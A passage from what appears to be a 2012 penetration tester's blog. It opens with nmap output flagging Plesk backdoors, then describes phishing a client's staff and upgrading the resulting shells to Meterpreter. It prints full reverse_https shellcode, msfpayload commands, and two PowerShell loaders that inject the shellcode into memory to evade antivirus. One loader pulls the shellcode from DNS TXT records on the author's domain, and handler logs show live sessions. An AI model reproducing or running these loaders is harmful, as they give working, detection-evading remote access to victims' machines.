PORT     STATE SERVICE
8443/tcp open https-alt

Interesting ports on srv2.someserver.com (xxx.xxx.193.62):
PORT     STATE SERVICE
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Interesting ports on srv3.someserver.com (xxx.xxx.193.63):
PORT     STATE SERVICE
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Interesting ports on srv4.someserver.com (xxx.xxx.193.64):
PORT     STATE SERVICE
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
--snip--

The script can be found here, http://chaos.deventum.com/research/nse/http-plesk-backdoor.nse

Powershell, metasploit meterpreter and dns.

2012-04-11T13:57:00.001+03:00

Few months back and whilst in holidays, I got a call from the work that we just took an urgent project with a very short delivery time. The project was a penetration test for a company. All paperwork was done and the client was in a rush to get some results since holiday season was near.

No problem I said but actually there were a few. For starters I was in a different country, nowhere near the penetration lab of the company and my tools. As it’s accustomed also to start with zero knowledge about the clients’ systems, I wasn’t sure about their security, possible IDS systems, antivirus, system patches, firewalls and users’ experience.

There are many possible ideas here and ways to work, I choose to use metasploit and whatever tools look innocent enough not to rise suspicions. The common problem with metasploit is the payload delivery. Meterpreter is great but it’s detected from a very large amount of antiviruses if not properly modified. I used SET (http://www.social-engineer.org/) to deliver a simple payload, actually a very basic connect back shell, the first that I found in codeproject.com (http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell).

Couple of hours later and after a few emails were send with ‘important’ information to the users of the company, metasploit’s multi handler was greeted with sessions. The sessions were mostly from windows 7 systems and a few old XP. The good news and the bad news, good news were the shells, bad news where … the shells. Used with meterpreter sessions and sessions from commercial tools the basic dos prompt seems poor. Time to upgrade the shell then in a fancy way then.

Powershell to the rescue !

Let’s first generate the meterpreter payload, reverse_https seems great,

root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.xxx.xxx LPORT=8443 C | more

   1: /*   2:  * windows/meterpreter/reverse_https - 369 bytes (stage 1)   3:  * http://www.metasploit.com   4:  * LHOST=178.32.xxx.xxx, AutoRunScript=, EXITFUNC=process,    5:  * EnableUnicodeEncoding=true, SessionCommunicationTimeout=300,    6:  * AutoSystemInfo=true, AutoLoadStdapi=true,    7:  * InitialAutoRunScript=, VERBOSE=false, LPORT=8443,    8:  * SessionExpirationTimeout=604800   9:  */  10: unsigned char buf[] =   11: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"  12: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  13: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"  14: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"  15: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"  16: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"  17: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"  18: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"  19: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"  20: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"  21: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"  22: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f"  23: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53"  24: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68"  25: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b"  26: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a"  27: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57"  28: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a"  29: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65"  30: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00"  31: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff"  32: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"  33: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85"  34: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33"  35: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00";  36:    37: /*  38:  * windows/meterpreter/reverse_https - 752128 bytes (stage 2)  39:  * http://www.metasploit.com  40:  */  41: unsigned char buf[] =   42: "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3"  43: "\x19\x15\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50"

From all the payload we just need the first stage. The first stage is will provide the connect back to the metasploit server functionality that will fetch the second stage.

Here again, a couple of options, one way of delivering it can be the following, simply copy the first stage, convert it in a proper format for the powershell script and run the script.

Method 1:

Converting the shellcode to proper format needed by the powershell script:

Shellcode:

   1: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"   2: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"   3: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"   4: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"   5: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"   6: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"   7: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"   8: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"   9: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"  10: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68"  11: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"  12: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f"  13: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53"  14: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68"  15: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b"  16: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a"  17: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57"  18: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a"  19: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65"  20: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00"  21: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff"  22: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"  23: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85"  24: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33"  25: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00"

converting the shellcode directly to our format:

   1: root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.72.194 LPORT=8443 C | sed -n -e '11,35p' | sed 's/[";]//g' | sed 's/\\/,0/g' | tr -d '\n'       2: ,0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00

and our powershell script:

   1: <#   2: Powershell meterpreter    3: This script will load in memory the first stage of metasploit meterpreter.   4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.   5: Author: Nicolas Krassas   6: Initial idea from: Matthew Graeber   7: #>   8:     9: # Import required functions   10: $code = @"  11: [DllImport("kernel32.dll")]  12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  13: [DllImport("kernel32.dll")]  14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);  15: [DllImport("msvcrt.dll")]  16: public static extern IntPtr memset(IntPtr dest, uint src, uint count);  17: "@  18:    19: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru  20:    21: # msf meterpreter stage 1  22: [Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x63,0x51,0x62,0x46,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00  23:    24: # Calculate correct size param for VirtualAlloc  25: $size = 0x1000  26: if ($sc.Length -gt 0x1000) {$size = $sc.Length}  27:    28: # Allocate memory   29: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)  30:    31:    32: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}  33: Try {  34:         $winFunc::CreateThread(0,0,$x,0,0,0)  35:         sleep 100000  36:     }  37: Catch  38:  {  39:   [system.exception]  40:   "caught a system exception"  41:  }

set the metasploit server to handle requests for the payload:

   1: root@host:~/trunk# ./msfconsole    2:     3: # cowsay++   4:  ____________   5: < metasploit >   6:  ------------   7:        \   ,__,   8:         \  (oo)____   9:            (__)    )\  10:               ||--|| *  11:    12:    13:        =[ metasploit v4.3.0-dev [core:4.3 api:1.0]  14: + -- --=[ 821 exploits - 467 auxiliary - 141 post  15: + -- --=[ 250 payloads - 27 encoders - 8 nops  16:        =[ svn r15071 updated 6 days ago (2012.04.05)  17:    18: msf  exploit(handler) > set payload windows/meterpreter/reverse_https  19: payload => windows/meterpreter/reverse_https  20: msf  exploit(handler) > set lport 8443  21: lport => 8443  22: msf  exploit(handler) > exploit  23:    24: [*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/  25: [*] Starting the payload handler...  26: [*] 94.68.xxx.xxx:20718 Request received for /cQbF...  27: [*] 94.68.xxx.xxx:20718 Staging connection for target /cQbF received...  28: [*] Patched transport at offset 486516...  29: [*] Patched URL at offset 486248...  30: [*] Patched Expiration Timeout at offset 641856...  31: [*] Patched Communication Timeout at offset 641860...  32: [*] Meterpreter session 1 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:20718) at Wed Apr 11 09:44:08 +0300 2012  33:    34: meterpreter > ps  35:    36: Process list  37: ============  38:    39:  PID   Name                          Arch  Session  User         Path  40:  ---   ----                          ----  -------  ----         ----  41:  0     [System Process]                                            42:  4     System                                                      43:  276   smss.exe                                                    44:  288   dwm.exe                       x86   1        Ghost\Dinos  C:\Windows\system32\Dwm.exe  45:  364   csrss.exe                                                   46:  380   explorer.exe                  x86   1        Ghost\Dinos  C:\Windows\Explorer.EXE  47:  432   csrss.exe                                                   48:  440   wininit.exe                                                 49:  492   winlogon.exe                                                50:  540   services.exe                                                51:  548   lsass.exe                                                   52:  560   lsm.exe                                                     53:  656   svchost.exe                                                 54:  720   nvvsvc.exe                                                  55:  760   svchost.exe                                                 56:  844   MsMpEng.exe                                                 57:  924   svchost.exe                                                 58:  964   svchost.exe                                                 59:  1000  svchost.exe                                                 60:  1152  svchost.exe                                                 61:  1196  conhost.exe                   x86   1        Ghost\Dinos  C:\Windows\system32\conhost.exe  62:  1284  plugin-container.exe          x86   1        Ghost\Dinos  C:\Program Files\Mozilla Firefox\plugin-container.exe  63:  1312  NvXDSync.exe                                                64:  1324  nvvsvc.exe                                                  65:  1364  SecureCRT.exe                 x86   1        Ghost\Dinos  C:\Program Files\VanDyke Software\SecureCRT\SecureCRT.exe  66:  1448  chrome.exe                    x86   1        Ghost\Dinos  C:\Users\Dinos\AppData\Local\Google\Chrome\Application\chrome.exe  67:  1492  SR_Watchdog.exe                                             68:  1528  SearchIndexer.exe                                           69:  1560  svchost.exe                                                 70:  1776  spoolsv.exe                                                 71:  1888  svchost.exe                                                 72:  1964  taskhost.exe                  x86   1        Ghost\Dinos  C:\Windows\system32\taskhost.exe  73:  2032  WVSScheduler.exe                                            74:  2172  armsvc.exe                                                  75:  2196  AppleMobileDeviceService.exe                                76:  2272  mDNSResponder.exe                                           77:  2304  svchost.exe                                                 78:  2364  hamachi-2.exe                                               79:  2400  vmware-tray.exe               x86   1        Ghost\Dinos  C:\Program Files\VMware\VMware Workstation\vmware-tray.exe  80:  2420  svchost.exe                                                 81:  2444  msseces.exe                   x86   1        Ghost\Dinos  C:\Program Files\Microsoft Security Client\msseces.exe  82:  2460  IMEDICTUPDATE.EXE                                           83:  <snip>  84: meterpreter > 

And we have our poor initial shell, upgraded with cool meterpreter features, whilst our antivirus is still operational and not aware of the situation.

Method 2 do it in style.

Few weeks back I saw an excellent method from corelanc0d3r ( https://github.com/rapid7/metasploit-framework/pull/173 ) using TXT DNS records for payload delivery. This gave me an idea to create the same method with powershell, using raw C format also in the TXT records. With the same payload, stage 1 as above I created the following records:

   1: a.deventum.com.          IN TXT  "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52"   2: b.deventum.com.          IN TXT  ",0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b"   3: c.deventum.com.          IN TXT  ",0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68"   4: d.deventum.com.          IN TXT  ",0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x6a,0x00,0x54,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x5f,0x5b,0x31,0xc9,0x51,0x51,0x6a,0x03,0x51,0x51,0x68,0xfb,0x20,0x00,0x00,0x53,0x50,0x68,0x57,0x89,0x9f"   5: e.deventum.com.          IN TXT  ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86"   6: e.deventum.com.          IN TXT  ",0xc6,0xff,0xd5,0xeb,0x48,0x59,0x31,0xd2,0x52,0x68,0x00,0x32,0xa0,0x84,0x52,0x52,0x52,0x51,0x52,0x50,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x89,0xc6,0x6a,0x10,0x5b,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86"   7: f.deventum.com.          IN TXT  ",0xff,0xd5,0x31,0xff,0x57,0x57,0x57,0x57,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1a,0x4b,0x74,0x10,0xeb,0xd5,0xeb,0x49,0xe8,0xb3,0xff,0xff,0xff,0x2f,0x5a,0x62,0x69,0x37,0x00,0x00,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00"   8: g.deventum.com.          IN TXT  ",0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x57,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3"   9: h.deventum.com.          IN TXT  ",0xe8,0x51,0xff,0xff,0xff,0x31,0x37,0x38,0x2e,0x33,0x32,0x2e,0x37,0x32,0x2e,0x31,0x39,0x34,0x00"

and finally the powershell script to call the records:

   1: <#   2: Powershell for DNS based meterpreter payload    3: This script will load in memory the first stage of metasploit meterpreter that exists in txt record .   4: The second stage will be transferred and executed in memory with 0 detection from the antivirus engines.   5: Author: Nicolas Krassas   6: Inspired by corelanc0d3r dns based shellcode and Matthew Graeber   7: #>   8:     9: # Functions for creating a thread  10: $code = @"  11: [DllImport("kernel32.dll")]  12: public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  13: [DllImport("kernel32.dll")]  14: public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);  15: [DllImport("msvcrt.dll")]  16: public static extern IntPtr memset(IntPtr dest, uint src, uint count);  17: "@  18:    19: function Convert-HexStringToByteArray {  20: ################################################################  21: #.Synopsis  22: # Convert a string of hex data into a System.Byte[] array. An  23: # array is always returned, even if it contains only one byte.  24: #.Parameter String  25: # A string containing hex data in any of a variety of formats,  26: # including strings like the following, with or without extra  27: # tabs, spaces, quotes or other non-hex characters:  28: # 0x41,0x42,0x43,0x44  29: # \x41\x42\x43\x44  30: # 41-42-43-44  31: # 41424344  32: # The string can be piped into the function too.  33: # http://www.sans.org/windows-security/2010/02/11/powershell-byte-array-hex-convert  34: ################################################################  35: [CmdletBinding()]  36: Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String )  37:    38: #Clean out whitespaces and any other non-hex crud.  39: $String = $String.ToLower() -replace '[^a-f0-9\\\,x\-\:]',''  40:    41:    42: #Try to put into canonical colon-delimited format.  43: $String = $String -replace '0x|\\x|\-|,',':'  44:    45:    46: #Remove beginning and ending colons, and other detritus.  47: $String = $String -replace '^:+|:+$|x|\\',''  48:    49:    50: #Maybe there's nothing left over to convert...  51: if ($String.Length -eq 0) { ,@() ; return }   52:    53:    54: #Split string with or without colon delimiters.  55: if ($String.Length -eq 1)  56: { ,@([System.Convert]::ToByte($String,16)) }  57: elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1))  58: { ,@($String -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}) }  59: elseif ($String.IndexOf(":") -ne -1)  60: { ,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($_,16)}) }  61: else  62: { ,@() }  63: #The strange ",@(...)" syntax is needed to force the output into an  64: #array even if there is only one element in the output (or none).  65: }  66:    67: function GetShellCode($hostname)  68:     {  69:     $result = iex "cmd.exe /c `"nslookup  -querytype=txt -timeout=5 $hostname 2> NUL`""  70:     $shellarray = ""  71:     foreach ($line in $result)  72:         {  73:         $line=$line.trim()  74:         if ($line.contains("`""))  75:             {$shellarray = $line.split("`"")[1].trim()}  76:         }  77:     "$shellarray"  78:     }  79: "Got the shellcode from txt records"  80: # My txt records you better not use them, or you may see me in your system :)  81:    82: $shellpart1 = GetShellCode "a.deventum.com"   83: $shellpart2 = GetShellCode "b.deventum.com"  84: $shellpart3 = GetShellCode "c.deventum.com"  85: $shellpart4 = GetShellCode "d.deventum.com"  86: $shellpart5 = GetShellCode "e.deventum.com"  87: $shellpart6 = GetShellCode "f.deventum.com"  88: $shellpart7 = GetShellCode "g.deventum.com"  89: $shellpart8 = GetShellCode "h.deventum.com"  90:    91: $myshell = " $shellpart1$shellpart2$shellpart3$shellpart4$shellpart5$shellpart6$shellpart7$shellpart8 "  92:    93: # Thread control  94: $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru  95:    96: # msf meterpreter stage 1, this one must be converted to proper byte array first.  97: [Byte[]]$sc =   Convert-HexStringToByteArray($myshell)   98:    99: # Calculate correct size param for VirtualAlloc 100: $size = 0x1000 101: if ($sc.Length -gt 0x1000) {$size = $sc.Length} 102:   103: # Allocate memory  104: $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 105:   106: # build it in memory 107: for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 108: Try { 109:         $winFunc::CreateThread(0,0,$x,0,0,0) 110:         sleep 100000 111:     } 112: Catch 113:  { 114:   [system.exception] 115:   "caught a system exception" 116:  }

Make sure the metasploit server is running with multi/handler and call the script from within powershell with: & .\Desktop\powershellcode1.ps1 .

Enjoy a 0 detection metasploit shell.

[*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/
[*] Exploit running as background job.
[*] Starting the payload handler...
[*] 94.68.xxx.xxx:27789 Request received for /Zbi7...
[*] 94.68.xxx.xxx:27789 Staging connection for target /Zbi7 received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 4 opened (178.32.xxx.xxx:8443 -> 94.68.xxx.xxx:27789) at Wed Apr 11 13:16:17 +0300 2012

msf exploit(handler) >

Facebook flood bots

2012-03-07T10:31:00.001+02:00

